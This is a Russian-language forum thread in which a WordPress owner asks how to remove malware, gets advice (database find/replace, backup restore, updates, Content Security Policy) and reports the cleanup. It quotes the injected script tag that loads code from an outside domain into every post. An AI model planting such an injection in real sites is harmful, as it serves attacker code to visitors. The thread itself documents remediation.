Общая тема о борьбе с шеллами и вирусами на сайте

Если что сервис вирусдай говно полное. Заплатил им за два сайта, говорит вирусов нет, а их там вагон и тележка. Сапорт говорит "ну вы найдите все вирусы, пришлите нам и мы добавим в шаблон поиска"

во все записи понакидывало вот такой ерунды:

<script src="//wollses.com/steps"></script>

антималваре не чего не находит. Чем побороть?

WP 4.0

Сделать дамп базы и find/replace.

Или восстановиться из бекапа.

Потом обновиться. И не будет лишним настроить Content Security Policy.

я думаю скрипт на сайте тут же все назад возвращает т.к. по совету SeVlad заюзал скрипт https://interconnectit.com/products/search-and-replace-for-wordpress-databases/ , но не помогло

удалил в файле header.php в шапке base64 и в шаблоне папке img файл wp_menu_top.png

после скриптом Search-Replace-DB-master удалил код

Всем спасибо